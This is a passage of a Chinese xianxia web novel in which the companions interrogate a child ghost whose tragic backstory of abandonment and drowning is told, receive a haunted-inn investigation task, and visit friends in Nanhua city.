虽说锁灵绳能够让被捆绑者暂时失去灵力,但对那些并非完全依赖灵力的人来说,锁灵绳所能起到的作用其实相当有限。 可锁灵室不一样。 它就像是一个独立结界一般,四面墙上皆布满了严密的禁制。 人一旦踏入其中,就会感到四肢绵软无力,仿佛全身的力量都被抽空,根本找不到丝毫可以反抗的机会。 而且,锁灵室不仅对灵力有着极强的抑制作用,就连妖力和魔力等各种不同类型的力量,都会受到同样严格的禁锢。 玉沙阁,真的只是一个普普通通、收集信息的据点吗? 饶是傅霖都无声地抬起手,朝冬苓竖起了大拇指。 虽然他们龙潜谷也有这个东西,但他们又不是名门正派,知法犯法的事儿他们干的还少吗? 压根不缺这一件好吗! “你还有什么是我们不知道的?”江洵有些无奈地笑了。 他不是没怀疑过冬苓的身份,当时也猜过她跟沈亦行的关系,估摸着应该是同门师兄妹。 而前天发现她们不仅是师兄妹,冬苓或许还是沈亦行派来跟在自己身边的卧底。 他若是有什么风吹草动,沈亦行一定知道,而沈亦行知道,他师父自然也就知道了。 诚然,他虽然没有什么好隐瞒江挽的地方,但这种感觉还是有些不太妙。 如今再看,这玉沙阁的弟子都不是什么简单的人。 几人跟着冬苓,一路穿过庭院,最终来到一座假山前。 这假山看起来和普通的山石并无区别,只见冬苓轻车熟路地将手放在了其中一块凸起的地方。 瞬间,一阵声响传来,原本严丝合缝的石壁缓缓移动,露出了一条通往地下的通道。 冬苓示意他们先下去,她走在最后负责关闭石壁。 虽然身处地下深处,但整条通道并不算黑暗。 通道两旁的墙壁上,每隔一段距离便悬挂着一袋晶莹剔透的冰晶石。 冰晶石散发着柔和的银色光芒,将整个通道照得透亮。 走到一半,遇到了几条分岔路,冬苓带着他们进了第二条。 “左边那道是关押的,右边那道是行刑的,咱们现在现在这道是审讯的。呐!这一排都是锁灵室。”冬苓边走边解释道。 邱漓凑近江洵,悄声说道:“洵哥,献岁阁为何那么穷啊?明明都臭名远扬了,怎得还那般守法呢?” “你回去问问方震。” “我不问,我不敢。”邱漓利索的回道。 冬苓带着他们走到一间空着锁灵室前停下,打开门后,将还在昏睡的镜婪扔了进去。 门旁边的那扇墙特意留出一道矩形空间,并采用特制的琉璃将其封住,方便外人能看清里面的情况。 江洵和傅霖坐在最前方的凳子上,另外三人站在后面。 没过一会,镜婪的身形和容貌发生了变化,不再是成年人的身量,用的也不再是陈丰年的那张脸。 而是变成了一个孩童,与那木雕娃娃上的容貌一模一样。 “唐阑。”江洵出言喊道。 那孩子在听到这个名字时,身子颤抖了一下,而后艰难的抬起头来,似乎是要寻找声音的来源。 “这个娃娃,刻的是你吧。” 江洵抬手拿起木雕,放在琉璃前,方便唐阑能看清楚。 他起初还有些茫然,可当看清木雕的一刹那,泪水逐渐汇聚在眼眶,似乎想要急不可耐的冲破而出。 连带着他的那份委屈和不甘。 他是唐阑,是木雕上的娃娃,是唐家没用的次子。 他出生在与春县的一个小村庄,那一年村里闹了蝗灾,庄稼颗粒无收,连生计都难以维持。 县里下令,让村子里的人举家迁居到不远处的隅湘县。 可根本没有给他们太多的时间收拾东西,几乎是这边通知那边就要拖家带口的上路。 途中,爹娘看他年纪小,又吃得少,总会把他的那份吃食分给兄长,以及长嫂。 他们说长嫂怀孕了,需要多吃一些来补充体力。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!他答应了,他没有意见,也不敢有意见。 可又过了几天,他在睡梦中迷迷糊糊地听到他们说,身上所带的粮食不够了,怕是撑不到隅湘。 他安静地呆在那里,听着自己的至亲,谋划着如何将自己丢下的消息。 他们自以为做的天衣无缝,可他却从头听到尾,一个字都不敢落下。 长嫂哭着说此举对一个孩子来说,未免过于残忍。 可也是长嫂亲自动手,将他打晕在地。 他醒来后,沿着河流继续向前走。 他听他们说过,只要沿着河走,就能走到隅湘县。 当他停下来休息时,撞见了一行人,那河边的大树下,坐着一位年长他几岁的小少爷。 而那少爷身旁,卧着一只正在啃骨头的大狗。 他不敢从那过了,因为他怕狗。 可他也必须从那过,因为他要找亲人。 当他正在犹豫不决时,看到了赶回来的哥嫂二人,他高兴极了,莫不是来接他了? 可那二人只是回来寻东西,而那东西恰好在那小少爷手中。 小少爷自然不愿意归还,说他捡到的东西就应该是他的。 言语间,还想要派护卫去打他们。 唐凌越这是才害怕了,耐着性子问那人,究竟要如何才肯归还。 只听那少爷意味深长的说道:“一物换一物。” 那是一个玉佩,是唐凌越结婚时赠予发妻的,一时之间,还真的找不到能与之相换的东西。 这时,唐凌越看到了躲在不远处的唐阑,像是见到了救星一般,指着他大喊道:“我把我弟弟换给你,行吗?” 那少爷闻言,顺着他手指的方向瞧了过去,随即大笑道:“妥!” 唐阑见状拔腿就跑,可却被他兄长抓了回来,献宝一样的送给了那位少爷。 他们让他学狗叫,想知道谁喊的声音更大。 随后又觉得没意思,让他同狗打架,看谁更厉害。 他浑身上下被狗咬破了好几处,可兄长却站在少爷身旁,谄媚着叫好。 再后来,他们将他和狗一同摁在水中,看谁更能憋气。 显然,他输了。 他输给了一条狗。 直到死前,他都忘不掉岸上那几人的嘴脸。 可那又能怎样呢? 他生来就体弱,干不了重活,甚至因为跛脚,走路也有问题。 爹娘不喜欢他,更偏爱那个身强体壮又会说好话的兄长。 他想,若是有来生,他一定要成为一个有力量的人。 一定要成为一个身强体壮的人。 一定要成为一个能呼风唤雨的人。 罢了,还是不要有来生了。 做人太苦了。 做没人爱的小孩也很苦。 索性就当个孤魂野鬼,谁也管不着儿,人人见了他都得绕道儿。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第164章 谈 唐阑将他生前的事情一五一十都交代了出来。 整个审讯的过程中,江洵问什么他便答什么。 包括当时在与春县时,他是如何同花停云一起杀害陈丰年的事,也都说的一清二楚。 末了,江洵有些疑惑地蹙起了眉,出言问道:“其实有一点我不明白,这些年来,你为何要用陈丰年的容貌示人?” 唐阑听到这个问题时,怔愣了片刻,而后苦笑了一声。 为何? 他也想知道为何。 明明都过去了那么多年,明明都快记不清那日的天气,甚至记不得花停云的长相。 可独独陈丰年的样貌和他曾说过的话语,深深刻在他脑海里。 那人就像是在他心里种了颗种子,让他在南华的江河湖泊中生了根。 自此,这便成了他的囚笼。 或者,他或许是想成为陈丰年那样的人吧。 秉性纯良又有一身修为,这般的人应该会被世人称为大英雄吧。 不像他,只会被家里人唤作小废物。 唐阑缓缓抬起头来,漫不经心地回道:“看他长得帅,喜欢他的脸。” 江洵闻言,微微颔首,他也觉得陈丰年长得帅。 当初在湖底看到他的第一眼,在还未反应过来那张脸是陈丰年的时候,脑海中只有一个念头:可惜了。 如此看来,他们陈叔年轻的时候,也是风韵犹存啊。 “要怎么处置他?”冬苓看了眼前面坐着的俩人。 “带回献岁吧。”江洵应声。 唐阑生前诚然可怜,又固然死的冤枉。 但在他死后的这些年间,被他拖入水中的人,难道就不可怜,不冤枉吗? 陈丰年又做错了什么呢? 他只是想救人罢了。 若是当年他没有把孩子当筹码,以陈丰年的性子,一定愿意聆听他的遭遇,为他的死而打抱不平。 唐阑杀死的不仅仅是陈丰年,更是他自己的回头岸。 所以,如今的他一定会死,也必须得死。 只是这屠刀,应该由被害人的亲人来拿。 “先收进锁灵囊吧。”江洵回头对秦在锦说道。 几人穿过锁灵室向出口走去,即将拐弯的时候,听到了从另一条通道传来的声音,听起来撕心裂肺的,让人感到很不舒服。 江洵不禁皱起了眉头,循声望去。 “别看了洵哥儿,一会儿该吃不下饭了。”冬苓出言提醒。 江洵记得冬苓提到过,那条通道里建的都是行刑室。 几人刚从地下通道出来的时候,一时间没适应过来,这阳光未免太过刺眼。 如今已是晌午,冬苓赶忙又带着他们去偏厅用饭,怎么说也得尽好这地主之谊,不能让兄弟姐妹们饿着肚子赶路。 席间,江洵坐下后打开信封,掏出了里面的任务书。 —— 怀德九年伍月中旬,居住在碧水轩的住客接二连三在其厢房内去世,死状不一,死因不详。 现将此案移交中律司,望派有能之士于伍月贰拾伍日前抵达玉饶县碧水轩。 此次任务奖励为:白银十两、聚灵草十株、绣春刀一把。 此次戊类多人协作任务如下: 其一:查明住客的死亡原因,保护周围商铺百姓的安危; 其二:此案若是人为谋害,需将其人押送至中律司审判; 若非人者行凶可在溯源后由中律司人员判定其是否就地杀之。 其三:若此任务等级评判失误,还请道友量力而行,中律司会召集距此地最近并与之相匹配之人前去相助。 那么,祝各位道友此程平步青云,万事顺遂。 —— “碧水轩......” 卜南进来收拾东西的时候,听见了江洵的呢喃,转身接话道:“谈家的产业。” “又是谈家,阿公可还知道他们家别的消息?”江洵笑着询问,端的是一副虚心好学的样子。 卜南本就喜欢跟小一辈儿的孩子聊天,一看江洵来了兴趣,立马乐呵呵的坐到他身旁的凳子上。 要说起这谈家,在南华城人尽皆知,开设的客栈遍布整个南华,可以说是家大业大。 可若说他们赚的银子都是干干净净、毫无猫腻的,那估计也没几个人会信。 毕竟像这样庞大的家业背后,难免会存在一些未被公之于众的生意往来。 而这碧水轩,正是其中一处没被谈玉徽抬到明面儿上的生意。 虽说只是一个看舞听曲儿的风月场所,但对于出入的宾客却设置了门槛儿。 要么有钱财傍身,要么有权势撑腰,倘若两者皆无,至少还需具备过人的才华方可进入。 否则的话,就只能眼巴巴地站在园墙之外,偷偷倾听里面传来的悠扬曲调了。 可是好景不长,这园子没开多久就出了事儿。 一天夜里突然走水了,再加上那晚风大,整个碧水轩被烧的一干二净。 本就是夜半三更睡觉的时辰,许多人甚至来不及逃跑,就被活活烧死。 而活下来的几位幸存者,日子也并不好过。 本小章还未完,请点击下一页继续阅读后面精彩内容!由于烧伤过于严重,加之当时天气炎热,伤口不断恶化,脓水止不住地向外流淌。 可谓是求遍了各路大夫,依旧未能奏效。有些大夫光是看那烧伤面积就知道,压根没救了。 还不当晚就去了,多出来的这些时日,简直是活受罪。 去年入秋之际,碧水轩开始动工重建,于今年年初,再度开门迎客。 本以为是卷土重来,能重现昔日的盛景,可事实却是门庭冷落、生意惨淡。 究其原因,是有客人传言称,那碧水轩已然不再干净,每到夜深人静之时,便会有鬼魂出没作祟。 听闻此事,谈家赶忙花费重金请来一位得道高僧,让他帮忙看看这座院子是否真有邪祟藏身其中。 那位和尚应约而来,在碧水轩住了数日。 期间,在园子里前前后后下了多道禁制,总算暂时恢复了安宁平静。 为何说暂时? 是因为自他走后没俩月,也就是前些日子,发生了一桩离奇惨案。 一名留宿在此的商人,莫名其妙地就惨死在自己房间之内,看那尸体的面部表情,说是被吓死的也不为过。 起初,谈家还只当这不过是一场意外,又或是那商人在外结下的仇家,寻上门来蓄意谋杀。 可令人毛骨悚然的是,接下来连续几个夜晚,每天都有人离奇的死在房内。 对于前俩月闹鬼一事还好说,怎么着它也没伤到人。 可如今接连死人,那这事儿可就算是闹大了。 这事儿往小了想,闹鬼嘛!无非是死几条人命,晦气罢了! 可往大了想,要是旁人故意找他们麻烦,给他们谈家的生意使绊子,那就不是那么简单的事儿了。 所以,谈家越过衙门,直接找上中律司,让他们抓紧时间派人过来看看,这到底是怎么个事儿。 江洵听了卜南的话,问道:“这碧水轩是谈玉徽开的吗?” 卜南不以为意地摆了摆手,笑着回答:“谈玉徽哪有心思管这些苍蝇腿儿啊,这是他那小儿子谈培风开的。” 怕江洵对着谈家不了解,卜南喝口茶润润嗓子,又接着说道:“谈玉徽膝下育有三个子女,长子和长女是一对龙凤胎,名唤谈东轩及谈茗聆;次子要比二人小两岁,年方十九,名唤谈培风。” “也就是说,谈玉徽平日里只管客栈这一个产业,而其他生意他并不过多插手。”傅霖闻言,插话道。 卜南伸手拍了下跟前儿的桌子,赞同道:“是这个理儿!” 而后,卜南又同他们讲了一些谈明轩和谈茗聆的事儿。 一个开赌坊,一个开青楼,真是什么赚钱就干什么。 这么一对比,谈培风倒有些不及他的哥哥姐姐了。 几人吃过饭,并未即刻动身,而是排排躺在院子里的草地上晒太阳。 冬苓微微闭着眼,开口问道:“洵哥,怪我吗?” 她指的是这么些年来,对江洵隐瞒了自己身份的事情。 其实她不是那种容易思虑过多之人,心思上也并不敏感。 向来都是想到什么就做什么,想说什么就说什么。 可她知道江洵的性子,她怕江洵不开心,怕二人就这么生了嫌隙。 怎料江洵还未回答,就被秦在锦抢先回了。 那人腾的一下坐直了身子,佯怒道:“不是,你怎么不问问我呢?难道我的心情不重要吗?” 冬苓闻言,无奈地摇了摇头,笑道:“你不一样。” “我哪不一样??我跟他哪儿不一样了?我差他哪儿了?” 一旁的邱漓听到这回答,恨铁不成钢的叹了口气。 要说他们锦哥也是明白人,说话做事都是滴水不漏。 可怎么一到冬苓这儿,他脑子就总是慢半拍呢。 冬苓这话说的还不够明白吗? 洵哥是朋友是兄长,而他是心上人。 心上人说白了就是自己人,那既然是自己人了还谈什么怪罪不怪罪的? 一家人说什么两家话! 这么简单的道理他怎么就听不明白呢?还跟个怨妇似的! 简直没眼看! “你不差他哪儿。”冬苓语气有些漫不经心地回道。 “你好敷衍啊!”秦在锦哼的一声,躺了下去,同时将身子背对着冬苓。 江洵听这二人的对话,不禁笑出了声。 而后,缓声道:“不怪你,情有可原。” 他没资格去指责冬苓的不是,至少在这段关系里,冬苓要比他真诚许多。 那日,在罗浮镇饭馆的相遇,无论是偶然,还是刻意,冬苓自始至终都没有问题。 而在黄府,她的关照也是恰到好处,不会让你感到反感,也不会让你产生负担。 反观他,才是那个最应该反思之人。 是他,在咸石村时,带着满心的目的同秦在锦交朋友。 也是他,在深塘坞时,故意出手相救,博秦在锦的同情和信任。 回想那些时日里,当秦在锦一次又一次地说起他们是过命的交情时。 他想,他是心虚的,甚至是可笑的。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!他不明白这世上怎会有人能毫无防备之心,哪怕对来路不明的陌生人也能以真心相待。 他甚至不理解,哪怕被人骗了以后,他依旧学不会收敛自己的善意。 秦在锦毫无疑问是聪明的,是圆滑的,是天真的。 但,也是让他艳羡的。 如今,当秦在锦再说出那句“我们是过命的交情”时,他已经能坦荡且坚定的回应他一句:“也是过命的兄弟。” “不过洵哥放心,我有分寸,没有事事都同大哥说。”冬苓解释道。 “嗯~”江洵闭着眼,懒洋洋地应了一声。 管他的,他一没杀错人,而没放大火,他没啥不能说的。 况且,每个任务结束的时候,他都会第一时间给江挽写信。 要真论起来,冬苓还没他自己交代的多。 “咱这是在开坦白大会吗?”傅霖冷不丁地说道。 此话一出,打破了方才有些煽情的氛围,几人瞬间笑出了声。 “是呢!霖哥有什么瞒着我们的事儿吗。”冬苓笑着接话。 “有。” 冬苓追问:“那你是选坦白从宽还是选抗拒从严?” “阿姐别问了,咱还是直接走流程吧,快派个人去严刑审审。”邱漓回道。 傅霖这人,天塌了都有他的嘴顶着。 既然是诚心要瞒的事儿,那当然不会因为气氛到了就堂而皇之的说出来。 “还是阿漓懂我,哥没白疼你。”傅霖回这话的时候语气有些骄傲。 邱漓听他这么说,默默翻了个白眼,冷哼一声道:“我看您是没白骂我吧。” “欸,你这话说得,我那都是为了你好,让你能多长点儿记性。” “哈!瞅脸皮厚的,要不我起来给您磕一个吧?感谢您的大恩大德?” “那倒不必行此大礼,就是逢年过节的,能多念着我好就行。” “逢年过节多生疏,我以后日日都念着您好。” “哎呦喂,瞧瞧,孩子长大了就是懂事了,我这不哭一个说不过去吧?” “您可别哭,我怕洵哥儿揍我。” “哈?” 江洵唇角的笑戛然而止。 这热闹看的正起劲,怎么突然间风向就变了? 有一种走在路上被人踹了一脚,却又不知道是被谁踹的无力感。 许是清风太温柔,又许是阳光太温暖,不知不觉间,五人就这么躺在那里,睡了过去。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第165章 念 一片落叶在挣扎片刻后,紧跟着风的步伐翩翩起舞,忽左忽右地摇晃着垂落在江洵额头。 江洵本还沉浸在迷蒙的梦境之中,被这突如其来的触感惊醒,待看清自己如今身处何地时,不由得松了一口气。 而后,懒散地抬起手来拿掉额头上的树叶,又揉了揉睡眼。 此刻的他仍有些恍惚,他记得自己应当是做梦了,可又记不清究竟做了什么梦。 梦中只有一望无际、看不到头的白,以及那阵若有似无的欢声笑语。 “噼噼……” 一阵声响传来。 江洵闻声望去,只见冬苓不知何时睡醒的冬苓,正小心翼翼地站起身,而后朝他打招呼,示意他出去聊两句。 江洵见状,心领神会地点了下头,一边打着哈欠,一边拖沓着步子跟了上去。 这二人刚走没多远,傅霖和秦在锦就睁开了双眼。 本来他俩中间隔了个江洵,如今江洵不在,一时间气氛显得有些微妙,颇有几分四目相对的尴尬之感。 傅霖双眸一转,磕磕巴巴地解释道:“他俩就是……不对,冬苓她……” 其实他是想让秦在锦不要误会,更不要因此跟江洵生了嫌隙。 他看的出冬苓只是把江洵当兄长看待,除此之外,肯定没有什么旁的想法。 可如今话到嘴边,又不知道怎么解释才更贴切。 秦在锦还是头一回见傅霖这副模样,不仅失声笑道:“我知道,我都知道。洵哥性子敏感多疑,我方才插话,也只是想从中缓和一下气氛。” 他不想看到冬苓和江洵之间有任何的不愉快和矛盾。 那二人,一个是他两肋插刀的哥们,一个他是捧在手心的桔梗。对他来说,都是生命里不可或缺的存在。 傅霖闻言,起身依靠在背后的树上,透过繁茂如盖的枝叶缝隙,望着天空中流动的云,感受耳边轻柔的风。 “他幼时过的不容易,才养成了这样的性子,但他今时对你们,是全心全意、毫无保留的。” 傅霖说这话的时候,目光有些哀伤,仿佛透过时光的层层迷雾,看到了那个蜷缩在角落里瑟瑟发抖的小乞丐。 他之前不明白,不明白江洵那般精明又多疑的人,为何会看不穿他师父的心思,甚至对他师父有些……过于言听计从了。 可后来,他见过江洵在睡梦中惊醒的样子,穿着被汗水浸湿的里衣,呆呆地蜷缩在墙角,一直坐到天微微亮才敢再度睡去。 他也见过江洵碰到无家可归的孩子时,会毫不犹豫的自掏腰包,给他们买热腾腾的包子和刚煎好的肉饼,看着他们吃饱了才起身离去。 他甚至见过江洵身上大小不一的疤痕,那人笑着说是小时候总跟狗抢吃的,无奈回回都没抢赢,被狗给咬伤的。 江洵曾跟他说过,如果不是江挽,他早就死了,他的尸体会被野狗分食,他的骨头会被人们践踏。 他逐渐明白了江洵的偏执,也拥抱了他的灰暗。 若是有朝一日,能穿越时间,回到过去…… 他想,他一定跑去岭泉村,找到幼时的江洵,帮他把恶狗都赶走,带他回龙潜谷吃一顿热乎乎的饭菜。 但没有人可以回到过去,哪怕是在梦里,他也一次都没有遇见过幼年的江洵。 那个把江洵从尸堆里拉出来的人,不是他。 “你知道我最初为什么选择跟洵哥做朋友吗?”秦在锦轻声问道。 “为什么?” “因为他心眼子多。” “哈?” 傅霖委实没想到是这个答案。 “洵哥无论做什么事儿,都会先计较得失、后再三斟酌是否要去帮忙。而我这性子,说白了就是个烂好人,出门在外那一定是会吃亏的。” “但是,我知道。只要有洵哥这样的人在,只要我的能力对他还有用,他就会一直拽着我护着我,不让旁人刁难我。” 秦在锦的这番话的时候,眼神之间皆是坦荡,倒让傅霖对他重新认识了。 他能将自己的不足放到明面上来剖析,然后借此去夸赞江洵的好。 他什么都明白,什么都清楚,他才是活的最通透的那一个。 “洵哥还让我自己动脑子想,我才不想,我就要赖着他,让他帮我出主意。” 秦在锦撅着嘴,一副恃宠而骄的样子,他拿定了江洵不会弃他不顾。 “吵死了……”身后传来邱漓的声音。 他俩还以为是说话声音太大,把那丫头吵醒了,没想到她翻个身又继续睡了,嘴里还砸吧道:“别吃了洵哥……给我留点……” 微风吹过,带走了那强忍着未发出声音的笑意,卷起了那梦中人的阵阵呓语,以及那脱离了臂弯,随风飞向远方的枝叶。 江洵抬起手接过将要落在肩头的叶子,同时问向走在身前的冬苓:“这是打算带我去哪儿?” “别院。不远,就在这条巷子的尽头,最后一户。” 见江洵没有回应,冬苓又继续说道:“大哥同阿愿不常在玉沙留宿,都是多走几步回别院住。我想,你既来了玉沙,也应当去别院看看。” 这章没有结束,请点击下一页继续阅读!“你大哥的住处,你带我去看,妥当吗?”江洵有些忧虑的问道。 他虽然没礼貌,但也分人。 沈亦行的私宅,怎么着也得请示了以后再进去吧,这趁着人刚走,他就过来,未免有些不合规矩。 “放心吧洵哥,不是私闯民宅。他走之前把钥匙交给我,不就是暗示我带你过来坐会儿么。” 江洵默默地点了点头,觉得这话说的也有道理。 路上,有几个手持风车的小孩儿从二人身旁飞奔而过。 跑在最前方的那个孩子满脸笑容,一边回头一边呼喊着身后的小伙伴们跑快些,同时,迎风举起手中的风车。 江洵闻声朝他望去,那孩子察觉到江洵的目光,毫不怯场地与之对望,而后咧嘴笑了起来。 身旁的冬苓正准备掏出钥匙开门的时候,发现这门微微敞开着一条缝。 “欸?阿愿没跟大哥去上京吗?” 江洵这才收回视线,打量起眼前这房子。 院墙并不高,院门是由几块普普通通的木板拼接而成,整体看上去和村子里其他家农户没啥差别。 进门左手边是个用矮篱笆围住的小菜园,右手边是简单搭建的厨房,锅碗瓢盆等物件儿一应俱全,看样子倒像是经常使用。 走近后,发现堂屋的木门依旧是微敞着,透过缝隙,能看到躺在摇椅上睡的正熟的池愿。 彼时,下午的阳光恰到好处的透过堂屋两侧的宽大窗户洒进屋内,使得整个房间都显得格外明亮通透。 踏进屋子里,映入眼帘的便是一幅画。 画上的少女约莫十二三岁的样子,身穿一袭藕粉色的长裙,风吹拂起她额前的发丝,连同裙摆都在翩翩起舞,轻盈而飘逸。 她身后是一片麦田,她站在田垄间,左手抱着一捧小麦,右手高高举起挥舞着,正笑意盈盈地望着观画之人,似乎是在打招呼。 “这是......” 江洵看着画面中的女孩,久久没有移开视线。 这是曾经的江挽。 那双总是盛满了无尽温柔的双眼,他不会认错。 冬苓从卧房走了过来,手里拿着薄被,小心翼翼地披在了池愿身上。 “大哥画的姐姐,他说这是最后一次见她笑的这般不谙世事。” 江洵想要伸手去摸一下少女的脸颊,却又怕惊扰到她,只好作罢,收回了右手。 而后,他才打量起这房间的陈设,发现许多东西都被特意做上了标记,尤其是边边角角容易磕碰的地方,更是被贴心的用棉布包起。 整个屋子里,找不到任何一个锋利的东西,就连脚下,也被铺上了厚厚的毯子。 再仔细瞧那些被打上标记的东西,似乎都是两份以上的,像是在区分,也像是在提醒,告诉使用者,不要寻错了。 比如那张放在墙边的两张木桌,其中一张的左侧边缘处,有一个用小刀浅浅刻下的小碗图案。 再如摆在桌子下方的凳子,放在茶几上的杯子等等,同样也有着相同的印记。 不仅如此,就连悬挂的毛巾、手帕、披风等衣物,都在其右下脚贴心的做了刺绣。 只是江洵在看到那熟悉的针脚和图案时,嘴角不由自主的上扬,无声地笑了。 他算是明白,第一次遇见沈亦行之时,那人为何总是盯着他腰间的香囊看了。 敢情香囊上的小碗是他绣的,难怪看起来七扭八歪的。 再看窗户旁那小面上,挂着一大一小的两个字。 其中一个笔锋清秀,一看就是江挽的字迹,是个“归”字。 旁边那幅较为苍劲,应当是出自沈亦行的手笔,写的是个“家”字。 “我师父之前在这儿住过?” 江洵轻声问道,遂即抬头摸了摸桌上镌刻的图案。 “住过一年,不过那时我尚且年幼,很少被允许出门。只有在跟着二哥过来送东西时,才能待上一会儿。” “哪一年?”江洵回头问道。 冬苓皱起眉头,思考了一瞬,回道:“貌似是十年前,我那时还有点儿生气,为何我做什么,她都是不看我。后来二哥说,她不是不看我,而是看不见我。” “虽然,我不知道你师父要做什么,也不清楚我大哥在谋划什么,但是有一点我确信,玉沙不会害你。以前不会,现在不会,将来也不会。” “所以,你可以相信我,也可以相信玉沙。” “我自然是相信你的,这一点你不用猜疑。”江洵回道。 他在最初或许怀疑过冬苓的身份,知道她不是相月山的弟子,也知道她的年龄是虚报的,但除此之外,冬苓的为人他很清楚。 “我师父回来过吗?”江洵问道。 “嗯……除夕那两天会回来。”冬苓回。 原来如此。 江洵十四岁那年不得回音的问题,在二十岁的时候找到了答案。 二人又待了片刻,才起身往玉沙阁走去。 出门前,江洵有些担忧地问道:“放她一个人在这儿……没关系吗?” 本小章还未完,请点击下一页继续阅读后面精彩内容!只见冬苓意味深长地笑道:“你别看这丫头体型小,修为可不低,咱锦哥都不一定是她对手。” “现在的孩子,一日三餐都吃的什么?” “许是吃灵丹妙药吧。” 冬苓说完这句似乎又想到了什么,紧接道:“咱一会儿是直接去玉饶吗?” “不,先去见个老朋友。”江洵回。 既然来了南华城,那自然该去拜访一下司徒信。 毕竟,都是生意场上的人,他对谈家多多少少会有些了解,或许从他那儿能打听到一些别的线索。 况且,他若没记错的话,司徒信的母亲同这南华城城主是兄妹关系。 如此一来,倘若此行遇到些他们解决不了的事儿,找司徒信来帮帮忙,应该也是可以的。 二人回来之时,傅霖三人已经牵着马在门口等着了。 他们并没有询问江洵和冬苓去了哪里,只是催促他俩走快些,该出发了。 在江洵把接下来的行程说明白后,傅霖翻身上马,问道:“你知道司徒信住哪?” “去年见过一次,他给了我一个铺子的地址。”江洵淡淡回道。 傅霖闻言,挑了下眉,有那么熟吗?还给地址?安的什么心。 一行人马不停蹄地赶路,终于在太阳落山之前赶到了南华城的中心地带。 他们按照司徒信提供的地址,磕磕绊绊、连找带问的找到了那间位于街角的布坊。 刚刚踏入店门,一个机灵的小厮立刻满脸堆笑、热情洋溢地迎了上来。 只见他快步走到众人面前,微微躬身行礼后说道:“几位客官大驾光临,不知道您想要买点什么样的布料呢?小店各种花色品种应有尽有,小的可以给诸位好好推荐一番!” 听到这话,秦在锦连忙摆了摆手,客气地回答道:“实在不好意思啊小哥,我们此次前来并非是购买布料的,而是有要事寻人。” 一听说是来找人的,小厮脸上的笑容瞬间凝固住了,显得有些尴尬和为难。 他挠了挠头,支支吾吾地说:“这……这个嘛……”一时间竟不知该如何回应。 就在局面陷入僵持的时候,从里间的仓库传来一阵脚步声。 紧接着,一个身材高挑、略显清瘦的男子缓缓走了出来。 尽管此时屋内的光线略显昏暗,但依然能够清晰地看到他那张轮廓分明的脸庞——眉眼柔和却又不失坚毅。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第166章 意 那人在看到江洵等人的瞬间,眸光一闪,既有惊讶之色,又有感激之意。 “司徒意!”秦在锦不禁失声叫道,显然他也未曾料到从里面走出来的会是此人。 上次见这人的时候,他还是一身女子装扮,整个人奄奄一息,正处于生死攸关之际。 如今,倒是穿上了男子的衣服,气色相较之前也好了许多,一看就是细心调养过的。 “秦大夫。” 话音刚落,司徒意极其恭敬地朝着眼前几人深深地鞠了一躬,表示敬意。 他知道如若不是江洵等人出手相助,恐怕自己早已不在人世了。 这几年他也想寻个时间去挨个登门致谢,但回回都被司徒信拒绝了。 那人说江洵他们忙着呢,哪怕去了也是扑个空,不如就在南华等着,只要他们来此地办案,就总会有用到司徒家的那一日。 这不,还真让他说对了,真给等来了。 “你们可是要找阿信?”司徒意抬头时,开口问道。 “对,想找他打听个事儿。”秦在锦看向司徒意的眼神中满是欣慰。 其实不仅是司徒信,每个经他手救治过的人,若都能如他这般好好活着,他认为自己的努力的就没有白费。 “阿信去临街的铺子看账本了,一会儿就回来,几位先去楼上喝杯茶、歇歇脚。” 司徒意说罢,便低声吩咐一旁的小厮,让他快快去请司徒信回来。 几人一前一后上楼之时,冬苓突然伸手轻捶了一下司徒信的手臂,笑着说道:“可以啊你!恢复男儿身了!” “嗯,姑娘觉得可还成?” 那人笑的一脸温顺,轻声询问着。 “当然成!你本就该这样,只做你自己。”冬苓冲他挑了下眉,表示十分支持他的决定。 二楼的视野更宽阔一些,视线也较为明亮,夕阳的余晖洒在木板上,衬的屋子里一片暖光。 窗边的木柜上摆放了几本旧书,一旁的青瓷花瓶中插着开的正艳的芍药,墙上挂着一幅画。 几人对此画并不陌生,正是柳春和曾经画的那一幅。 “诸位可有用过晚饭?” 司徒意一边泡着茶,一边回过头来询问众人。 傅霖的视线落在被司徒意随手放置在一旁的茶叶上,不愧是大户人家,瞅瞅,用的都是品质上乘的云雾茶。 “这不是就等着司徒兄请我们吃饭么,愣是饿了一天没吃东西。”秦在锦打趣着回道。 司徒意自然听得出这是一句玩笑话,回应道:“秦大夫尽管放心,今日定让大家吃得满意、管够管饱。” 一行人谈笑风生之际,忽然从楼梯口传来一阵清晰的脚步声。 “卿卿,快瞧瞧我给你带回来什么好东西?” 随着声音越来越近,可以感觉到说话之人的满心欢喜与骄傲。 可当他上到二楼,看清房内另外几人时,笑容瞬间僵硬在脸上。 这也没人事先知会他楼上除了司徒意之外,还有旁人在啊! 只见江洵等人强忍着笑意,故意装出一副若无其事、啥也没有听见的模样。 秦在锦更是连忙干咳了几声,借此掩饰尴尬。 而再那看司徒意,更是羞得面红耳赤,略带嗔怒地瞪了司徒信一眼。 “江......兄?你们怎得来了?也不提前招呼一声。” 司徒信双手负于身后,缓缓踱步走来,待到司徒意跟前儿时停了下来。 而后,将一个制作精巧的木盒放在司徒意手中,示意他收好。 “路过这儿,来蹭个饭。”江洵回道。 司徒信一听这话,爽朗的笑出了声,热情的应道:“那好说,云客居的厨子可是烧的一手好菜!走着呗,带你们去尝尝。” 他这才刚进屋没多久,就张罗着要带他们去吃饭。 既如此,江洵等人自也不好推辞,纷纷应声而起,跟随着司徒信朝楼梯口走去。 此时正值夜幕降临,但南华城并未实行宵禁之策,因此这个时辰的街道非但不显冷清寂寥,反倒较白日更为喧闹繁华。 不知是不是江洵的错觉,总觉得眼前这条街道的氛围和布局,看起来与栖花里的街巷有着几分相似。 不多时,一行人便来到了云客居前。 这座酒楼共有四层,建筑宏伟壮观,装修精美典雅。 抬头望去,其余三层早已座无虚席。 几人进门之时,那掌柜的正埋头核算账目,听到店小二热情迎客的呼喊声后,连头也未抬起一下。 只见他一边拨弄着算盘,一边高声喊道:“各位客官实在对不住,今日店内客人已满,座位皆已预订出去,要不您几位明日再来?” “哦?这是把我的位置也订出去了?” 司徒信微微眯起双眸,嘴角带着笑意,身体随意地斜倚在一旁的桌子上。 手指一下又一下地敲打着桌面,发出清脆的声响。 